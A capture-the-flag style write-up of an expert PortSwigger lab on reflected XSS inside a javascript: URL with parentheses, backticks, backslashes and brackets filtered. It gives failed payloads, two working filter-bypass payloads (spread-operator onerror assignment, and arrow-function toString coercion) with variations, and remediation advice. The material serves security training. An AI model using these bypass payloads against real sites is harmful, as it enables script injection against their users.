PortSwigger — 2025.12.03

JavaScript URL XSS: Character-Blocking Bypass via Spread Operator

PortSwigger Reflected XSS (character-filter bypass) hard

Lab Overview

Platform: PortSwigger Web Security Academy Lab URL: https://0a22007e038aa42d835c1902006700ea.web-security-academy.net/ Difficulty: Expert Category: Reflected XSS / Character Restriction Bypass Objective: Execute alert() with “1337” in the message despite aggressive character filtering

Challenge Description

This lab presents a sophisticated character filtering bypass challenge. The application reflects user input into a JavaScript URL context (href="javascript:..."), blocking multiple common XSS characters including parentheses, backticks, backslashes, and square brackets.

The vulnerable code structure:

<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=4'}).finally(_ => window.location = '/')">Back to Blog</a>

Injection Point: The body parameter reflects the current page URL including query parameters. Success Criteria: Trigger an alert containing “1337” anywhere in the message.


Vulnerability Analysis

Injection Context

The user input is injected into an object literal passed to fetch():

fetch('/analytics', {
  method:'post',
  body:'[USER_INPUT_HERE]'
}).finally(_ => window.location = '/')

This creates unique constraints:

  • We’re inside a string value within an object literal
  • The fetch() call lacks a closing parenthesis we can control
  • Any syntax errors prevent JavaScript execution entirely

Character Filter Analysis

Blocked Characters

Character Encoding/Result Impact
( ) Completely stripped Cannot call functions directly
` (backtick) Completely stripped Cannot use tagged template literals
\ Completely stripped Cannot use escape sequences
[ ] Completely stripped Cannot use array/bracket notation
< > HTML encoded (%3c, %3e) Cannot inject HTML tags

Allowed Characters

  • Single quotes '
  • Semicolons ;
  • Curly braces { }
  • Commas ,
  • Colons :
  • Dots .
  • Spread operator ...
  • Alphanumeric characters
  • Standard operators (=, +, -, etc.)

Attack Development Process

Failed Approaches

Documenting failed attempts is crucial for understanding the solution path.

1. HTML Injection

Payload: <img src=x onerror=alert(1337)> Result: Angle brackets HTML encoded -> %3cimg src=x onerror=alert(1337)%3e Why it failed: HTML injection completely blocked


2. Direct Function Call

Payload: '});alert(1337);// Result: Parentheses stripped -> '});alert1337;// Why it failed: Cannot call functions without () Key Learning: Standard XSS breakout techniques don’t work here


3. Tagged Template Literals

Payload: '});alert`1337`;// Result: Backticks stripped -> '});alert1337;// Why it failed: ES6 template literal syntax blocked Significance: Modern JavaScript features like tagged templates are filtered


4. Unicode Escape Sequences

Payload: '\u007d\u0029;onerror=alert;throw 1337;//

  • \u007d = }
  • \u0029 = )

Result: Backslashes stripped -> 'u007du0029;onerror=alert;throw 1337;// Why it failed: Escape sequences require backslashes


5. HTML Entity Encoding

Payload: '&#92;u0029;... (HTML entity for backslash) Result: Only & remains -> '%26... Why it failed: HTML entities parsed and broken by filter


6. URL Encoding

Payload: '%7d%29;onerror=alert;throw 1337;//

  • %29 = )
  • %7d = }

Result: URL encoding doesn’t bypass filter Why it failed: Filter operates AFTER URL decoding Key Insight: Filter processes normalized input, not raw encoded input


7. Multi-line Comments

Payload: '};onerror=alert;throw 1337;/* Result: Syntax error - unclosed fetch() call Why it failed: Cannot fix syntax without closing parenthesis


8. Computed Property Names

Payload: ',x:1,[onerror=alert,undefined.x]:1,y:' Result: Square brackets stripped -> ',x:1,onerror=alert,undefined.x:1,y:' Why it failed: Bracket notation blocked


The Solution

Working Payload

/post?postId=3&x=',x:1,...onerror=alert,y:null[1337],z:'

Resulting JavaScript

fetch('/analytics', {
  method:'post',
  body:'/post?postId=3&x=',
  x:1,
  ...onerror=alert,
  y:null[1337],
  z:''
}).finally(_ => window.location = '/')

Execution Flow (Step-by-Step)

Step 1: Object Literal Construction Begins

JavaScript starts evaluating the object literal passed to fetch():

{
  method:'post',
  body:'/post?postId=3&x=',  // Our injection starts here
  x:1,                        // Valid property

Step 2: Spread Operator Executes Assignment

...onerror=alert,

What happens:

  1. Assignment onerror=alert executes first
  2. window.onerror is set to the native alert function
  3. Assignment returns the value (alert function)
  4. Spread operator ... attempts to spread the function into the object
  5. Functions have no enumerable own properties, so nothing is added
  6. Critical: The assignment EXECUTED even though spreading did nothing

Why this works:

  • Spread operator evaluates its operand as an expression
  • Assignment expressions return values
  • Side effects (setting window.onerror) happen during evaluation

Step 3: Property Access Triggers Error

y:null[1337],

What happens:

  1. JavaScript tries to access property 1337 on null
  2. Throws TypeError: Cannot read property '1337' of null
  3. Error message includes the property name: 1337
  4. Error bubbles up immediately (object construction fails)

Step 4: Error Handler Invoked

Error handling sequence:

  1. TypeError thrown during object evaluation
  2. Global error handler (window.onerror) catches it
  3. window.onerror is now the alert function
  4. Error message (containing “1337”) passed to alert()
  5. Alert fires with message: "Uncaught TypeError: Cannot read property '1337' of null"

Step 5: Lab Solved

The alert displays an error message containing “1337”, satisfying the objective.

Note: This writeup documents our working solution using the spread operator. However, PortSwigger’s official solution uses a different technique involving arrow functions and toString coercion. Both solutions are valid XSS exploits, but the official solution demonstrates additional advanced JavaScript techniques worth understanding. See the “Official Solution Analysis” section below for details.


Official Solution Analysis

Official PortSwigger Payload

/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

Resulting JavaScript

fetch('/analytics', {method:'post',body:'/post?postId=5&'},
x=x=>{throw/**/onerror=alert,1337},
toString=x,
window+'',
{x:''}).finally(_ => window.location = '/')

Execution Flow

1. Close the fetch Parameter Object

body:'/post?postId=5&'}
  • Closes the body string value
  • The } closes the fetch parameter object
  • The , after begins a series of sequential expressions in global scope

2. Define Arrow Function

,x=x=>{throw/**/onerror=alert,1337}

What happens:

  • x=x=>{...} creates a global arrow function assigned to variable x
  • Single parameter x requires no parentheses (bypasses filter!)
  • Function body: {throw/**/onerror=alert,1337}
    • /**/ is an empty comment (whitespace)
    • throw onerror=alert,1337 uses comma operator
    • First evaluates onerror=alert (sets global error handler)
    • Then evaluates 1337
    • Finally throws 1337

Key technique: Arrow functions with single parameters don’t need () around the parameter!

3. Overwrite toString

,toString=x
  • Sets global toString to our arrow function
  • This will be called during type coercion

4. Trigger via Type Coercion

,window+''

The trigger mechanism:

  1. Attempts to concatenate window object with empty string
  2. JavaScript performs type coercion to convert window to string
  3. Calls window.toString() for the conversion
  4. Since we overwrote toString, our arrow function executes!
  5. Function runs -> sets onerror=alert -> throws 1337 -> alert fires!

Critical insight: No explicit () needed to invoke the function - type coercion does it implicitly!

5. Consume Trailing Code

,{x:''}
  • Creates an object literal to consume the trailing '}).finally(...) from the original template
  • Ensures syntactically valid JavaScript

Why This Works

Arrow Functions with Single Parameters

Syntax: parameter => {body} requires no parentheses around single parameter

// These are equivalent:
function(x) { return x * 2; }  // Traditional (needs parentheses)
x => x * 2                      // Arrow (no parentheses needed!)
x => { return x * 2; }          // Arrow with block (still no parentheses)

Exploitation:

  • We can define functions without using blocked () characters
  • Pattern: x=x=>{code} defines function and assigns it globally

Implicit Function Invocation via toString

Type coercion automatically calls toString() when converting objects to strings:

window + ''              // Needs to convert window to string
                         // Calls window.toString()
                         // But we overwrote toString!

No explicit () needed to invoke the function - coercion triggers it automatically.

Comma Operator in Global Scope

After } closes the object, the , creates sequential expressions that execute in global scope, not as object properties:

{...},          // Object ends
expr1,          // Global expression 1
expr2,          // Global expression 2
expr3           // Global expression 3

This allows global variable assignments: x=..., toString=...

Throw with Comma Operator

throw onerror=alert,1337

Evaluation order:

  1. Comma operator evaluates left-to-right
  2. onerror=alert executes (sets handler)
  3. Returns alert function
  4. , continues to next expression
  5. Evaluates 1337
  6. throw throws the final value (1337)

Result: Handler is set BEFORE the throw executes!

Curly Braces Not Blocked

  • Arrow function body uses {...} for block statements
  • Only () and [] were blocked, not {}
  • This allows complex function bodies

Comparison: Our Solution vs Official Solution

Aspect Our Solution (Spread Operator) Official Solution (Arrow Function)
Key technique Spread operator with assignment Arrow function + toString coercion
Function definition Not used Single-param arrow function (no parens)
Function invocation Not needed Implicit via type coercion (window+'')
Error trigger null[1337] property access throw 1337 statement
Scope context Within object literal Global assignments after object close
Handler setup ...onerror=alert (spread side effect) onerror=alert inside arrow function
Elegance Works but somewhat hacky More aligned with intended solution
Complexity Moderate - requires understanding spread Higher - requires understanding coercion
Payload length Shorter (63 characters) Longer (86 characters)

Why We Missed the Official Solution

1. Overlooked Arrow Function Syntax

What we missed:

  • Single-parameter arrow functions don’t need () around the parameter
  • We assumed ALL function definitions required parentheses
  • Arrow function syntax x => {body} was the key bypass

Learning: Always enumerate ALL valid syntax with available characters.

2. Missed toString Coercion Technique

What we missed:

  • Implicit function calls via type coercion
  • The pattern of overwriting toString then triggering it with window+''
  • This avoids needing explicit () to call the function

Learning: Look for implicit operations - type coercion can trigger method calls without ().

3. Focused on Object Literal Context

What we did:

  • Tried to work WITHIN the object literal constraints
  • Added properties to the existing object

What the official solution does:

  • Breaks OUT of the object using comma operator after }
  • Executes global variable assignments in global scope

Learning: Sometimes breaking out of a context is better than working within it.

4. Confirmation Bias with Spread Operator

What happened:

  • Once we found the spread operator worked, we stopped exploring
  • Didn’t continue searching for more elegant solutions
  • The official solution is more “intended” and demonstrates better technique

Learning: Even after finding a working solution, continue exploring for more elegant approaches - especially in learning environments.

5. Didn’t Fully Map Unblocked Syntax

What we missed:

  • We identified blocked characters but didn’t systematically explore ALL valid JavaScript syntax with remaining characters
  • Arrow functions, toString coercion, and comma operator global assignments were all available
  • A systematic syntax enumeration would have revealed these options

Learning: Create a comprehensive map of available syntax, not just blocked syntax.

Key Learnings from Official Solution

1. Systematic Syntax Exploration

Technique: When characters are blocked, enumerate ALL valid JavaScript syntax with remaining characters

Process:

  1. List blocked characters: () [] ` \
  2. List allowed characters: {} , ; ' : . ... operators
  3. Map JavaScript features using ONLY allowed characters:
    • Functions: Arrow functions with single param
    • Function calls: Type coercion (implicit)
    • Control flow: Comma operator
    • Error handling: throw/onerror

2. Implicit vs Explicit Operations

Concept: Look for implicit operations, not just explicit ones

Examples:

  • Implicit: toString() via coercion (window+'')
  • Explicit: window.toString() (needs ())
  • Implicit: Property getter/setter side effects
  • Explicit: Direct method calls

Application: When direct operations are blocked, use implicit triggers.

3. Scope Manipulation

Technique: Breaking out of constrained contexts to global scope

{...},          // Close object
global1,        // These execute in GLOBAL scope
global2,        // Not as object properties!
global3

Key insight: Comma operator after } creates sequential statements in outer scope.

4. Multiple Solution Paths

Philosophy: Both our solution and the official solution work - both are valid XSS exploits

Benefits of learning both:

  • Deepens understanding of JavaScript internals
  • Provides alternative techniques for different scenarios
  • In real pentests, ANY working solution is valid
  • Learning alternatives improves overall skills

Takeaway: Don’t stop at the first solution - explore multiple approaches.

5. Arrow Function Parentheses Bypass

Pattern: Single-parameter arrow functions bypass parentheses filters

Syntax variations:

// Single parameter - NO parentheses needed
x => expression
x => {statements}

// Multiple parameters - parentheses REQUIRED
(x, y) => expression

// No parameters - parentheses REQUIRED
() => expression

Exploitation: When () is blocked, use single-parameter arrow functions.

Updated References

Arrow Functions and Coercion

Advanced XSS Techniques


Technical Deep Dive

Spread Operator Exploitation

Normal Usage

const obj1 = {a: 1, b: 2};
const obj2 = {...obj1, c: 3};
// obj2 = {a: 1, b: 2, c: 3}

Our Abuse

...onerror=alert
// 1. Assigns alert to window.onerror (SIDE EFFECT)
// 2. Attempts to spread the alert function
// 3. Functions have no enumerable properties, adds nothing
// 4. But the assignment already happened!

Why This Matters

The spread operator evaluates expressions for their value, but any side effects execute during evaluation. We exploited this to:

  • Set a global variable (window.onerror)
  • Without needing parentheses for a function call
  • While maintaining syntactically valid JavaScript

Error Triggering Techniques

Why null[1337]?

Requirements:

  1. Trigger a runtime error during object construction
  2. Include “1337” in the error message
  3. Use only allowed characters

Why this works:

  • Property access on null always throws TypeError
  • Error message includes the property name
  • No blocked characters needed

Alternative error triggers (with allowed characters):

y:undefined.x          // TypeError: Cannot read property 'x' of undefined
y:null.toString()      // TypeError, but uses parentheses (blocked)
y:(1337).x             // Parentheses blocked
y:{}.x[1337]           // Square brackets blocked

JavaScript Evaluation Order

Understanding evaluation order is critical:

{
  property1: value1,    // Evaluated left-to-right
  property2: value2,    // Evaluated in sequence
  property3: value3,    // Error here stops evaluation
}

For our payload:

  1. body:'/post?postId=3&x=' -> Evaluated
  2. x:1 -> Evaluated
  3. ...onerror=alert -> Assignment executes, onerror set
  4. y:null[1337] -> ERROR THROWN -> Error handler (alert) called
  5. z:'' -> Never evaluated (object construction failed)

Window.onerror Handler

Standard Signature

window.onerror = function(message, source, lineno, colno, error) {
  // message: Error message string
  // source: URL of script
  // lineno: Line number
  // colno: Column number
  // error: Error object
};

Our Abuse

window.onerror = alert;
// alert() accepts one argument (message)
// When error occurs, alert gets the error message as first argument
// Other arguments ignored

Why alert works as error handler:

  • alert() accepts any value and displays it
  • Only the first argument (error message) is used
  • Additional onerror parameters ignored

Alternative Solutions

Variation 1: Different Error Trigger

/post?postId=3&x=',x:1,...onerror=alert,y:undefined.a1337,z:'

Difference: Uses undefined.a1337 instead of null[1337] Result: TypeError: Cannot read property 'a1337' of undefined (still contains “1337”)

Variation 2: Assignment-then-Error Pattern

/post?postId=3&x=',x:1,y:onerror=alert,z:null[1337],end:'

Difference: Standard assignment instead of spread operator Why this works:

  • Direct property assignment: y:onerror=alert
  • Assignment returns alert function (becomes property value)
  • Still sets window.onerror as side effect

Comparison to spread operator:

  • Spread: More elegant, exploits ES6 feature
  • Direct: More obvious, easier to understand

Key Techniques Learned

1. Parentheses-Free Function Assignment

Problem: Need to call alert() but () is blocked

Solution 1: Use error handlers (our approach)

onerror=alert;           // Set handler
throw "message";         // Trigger it

Or with our spread technique:

...onerror=alert,        // Set handler via spread
null[1337]               // Trigger via property access error

Solution 2: Arrow functions + type coercion (official approach)

x=x=>{code};             // Define function (no parentheses!)
toString=x;              // Overwrite toString
window+'';               // Trigger via coercion (implicit call)

2. Controlled Error Messages

Technique: Access properties on null/undefined to trigger TypeErrors with predictable messages

null[1337]              // "Cannot read property '1337' of null"
undefined.anything      // "Cannot read property 'anything' of undefined"
null.x                  // "Cannot read property 'x' of null"

Application: When you need specific content in error messages

3. Spread Operator for Side Effects

Discovery: Spread operator executes assignment expressions

{...x=value}            // Assigns x=value, attempts to spread result

Exploitation contexts:

  • Object literals (our case)
  • Array literals: [...x=value]
  • Function calls: func(...x=value) (but parentheses needed)

4. Arrow Function Syntax for Filter Bypass

Discovery: Single-parameter arrow functions don’t require parentheses

// Traditional function (needs parentheses)
function(x) { return x * 2; }

// Arrow with single param (NO parentheses)
x => x * 2
x => { return x * 2; }

// Arrow with multiple params (needs parentheses)
(x, y) => x + y

Exploitation: When () is blocked, use single-parameter arrow functions

5. Type Coercion for Implicit Function Calls

Discovery: Type coercion can trigger method calls without explicit ()

toString=myFunction;     // Overwrite toString
window+'';               // Implicit toString() call during coercion

Other coercion triggers:

  • String concatenation: object + ''
  • String interpolation: ${object} (but backticks blocked here)
  • Comparison: object == 'string'

6. Working Within Constraints

Philosophy: When you can’t break out, work within the existing structure Our context: Object literal inside fetch() call Strategy: Add properties to the object instead of escaping it Lesson: Understanding the injection context enables creative solutions

7. Breaking Out of Constraints

Alternative philosophy: Break out of limited contexts to gain more control Technique: Comma operator after object close

{...},                   // Close object
globalVar1=value,        // Execute in global scope
globalVar2=value,        // Not object properties!

Lesson: Both “work within” and “break out” approaches can succeed

8. Object Literal Abuse

Object literals evaluate properties left-to-right, stopping on errors:

{
  safe: 1,
  exploit: (set_handler),
  trigger: (cause_error),
  unreachable: (never_evaluated)
}

This creates a reliable execution sequence for multi-stage exploits.


Remediation

How to Prevent This XSS

1. Avoid JavaScript URL Contexts

Problem: href="javascript:..." is inherently dangerous Solution: Use event handlers or proper JavaScript patterns

<!-- BAD: JavaScript URL with user input -->
<a href="javascript:doSomething('[USER_INPUT]')">Click</a>

<!-- GOOD: Event handler with proper escaping -->
<a href="#" onclick="doSomething(this); return false;">Click</a>

<!-- BETTER: Unobtrusive JavaScript -->
<a href="#" class="analytics-link" data-post-id="4">Click</a>
<script>
  document.querySelectorAll('.analytics-link').forEach(link => {
    link.addEventListener('click', function(e) {
      e.preventDefault();
      sendAnalytics(this.dataset.postId);
    });
  });
</script>

2. Context-Aware Output Encoding

Problem: Character blocklisting is insufficient Solution: Encode for the specific context

For JavaScript string context:

function escapeJavaScript(str) {
  return str.replace(/[\\\'"\n\r\t\b\f]/g, function(char) {
    return '\\' + char;
  }).replace(/[^\x20-\x7E]/g, function(char) {
    return '\\u' + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
  });
}

3. Content Security Policy (CSP)

Best defense: Prevent inline JavaScript execution entirely

Content-Security-Policy: script-src 'self'; object-src 'none';

This would block:

  • javascript: URLs
  • Inline onclick handlers
  • eval() and similar

4. Use Safe APIs

Redesign to avoid reflecting user input into JavaScript:

// Instead of embedding in href:
// <a href="javascript:fetch(...body:'[USER_INPUT]')...">

// Use data attributes and proper JavaScript:
// <a href="#" data-post-id="4" class="back-link">

document.addEventListener('click', function(e) {
  if (e.target.matches('.back-link')) {
    e.preventDefault();
    const postId = e.target.dataset.postId;
    fetch('/analytics', {
      method: 'POST',
      body: '/post?postId=' + encodeURIComponent(postId)
    }).finally(() => window.location = '/');
  }
});

5. Allowlisting Over Blocklisting

Problem: Blocklisting characters is always incomplete Solution: Allow only expected patterns

// For post IDs, only allow numbers
if (!/^\d+$/.test(postId)) {
  throw new Error('Invalid post ID');
}

References

PortSwigger Resources

JavaScript Specifications

Security Best Practices


Lab Metadata

Completed: 2025-12-03 Platform: PortSwigger Web Security Academy Lab URL: https://0a22007e038aa42d835c1902006700ea.web-security-academy.net/ Category: Client-Side Vulnerabilities -> Cross-Site Scripting Difficulty: Expert Tags: xss, reflected-xss, javascript-context, character-filtering, spread-operator, error-handler, es6

Skills Demonstrated

  • Advanced XSS payload crafting under severe character restrictions
  • Character restriction bypass techniques (spread operator, arrow functions)
  • Modern JavaScript feature exploitation (ES6+ arrow functions, spread syntax)
  • Error handler abuse for function invocation
  • Type coercion exploitation for implicit function calls
  • Creative use of language features for security bypasses
  • Systematic testing methodology
  • Understanding of JavaScript evaluation order and scope
  • Global variable manipulation via comma operator
  • Multiple solution approaches to the same problem

Time Investment

  • Initial testing: 15 minutes
  • Failed attempts: 45 minutes
  • Solution discovery: 30 minutes
  • Writeup creation: 60 minutes
  • Total: ~2.5 hours

Difficulty Reflection

Initial Assessment (Spread Operator Solution)

This lab required:

  1. Deep JavaScript knowledge: Understanding spread operator behavior and object literal evaluation
  2. Creative thinking: Combining techniques in novel ways
  3. Persistence: Many failed attempts before success
  4. Systematic approach: Testing different encoding/bypass methods methodically

Initial Rating: 9/10 - One of the most challenging XSS labs, requiring advanced JavaScript exploitation knowledge

Updated Assessment (With Official Solution Knowledge)

The official solution adds additional complexity:

  • ES6 arrow function syntax nuances: Understanding single-parameter syntax without parentheses
  • JavaScript type coercion mechanics: Knowing how toString() is implicitly called
  • toString method overwriting: Recognizing this as an exploitation technique
  • Global vs. local scope in expression contexts: Understanding comma operator behavior after object literals
  • Implicit function invocation: Triggering function execution without ()

Updated Rating: 9.5/10

This is an expert-level XSS challenge that tests:

  • Deep JavaScript internals knowledge
  • Multiple bypass techniques (spread operator, arrow functions, type coercion)
  • Creative problem-solving under severe constraints
  • Ability to chain multiple sophisticated techniques

Why not 10/10? Once you understand the core concepts (arrow function syntax, type coercion, comma operator scope), the solution becomes logical. A 10/10 would require discovering entirely novel JavaScript behavior or exploiting undocumented features.

#xss #reflected-xss #javascript-context #character-filter-bypass #spread-operator #portswigger #webapp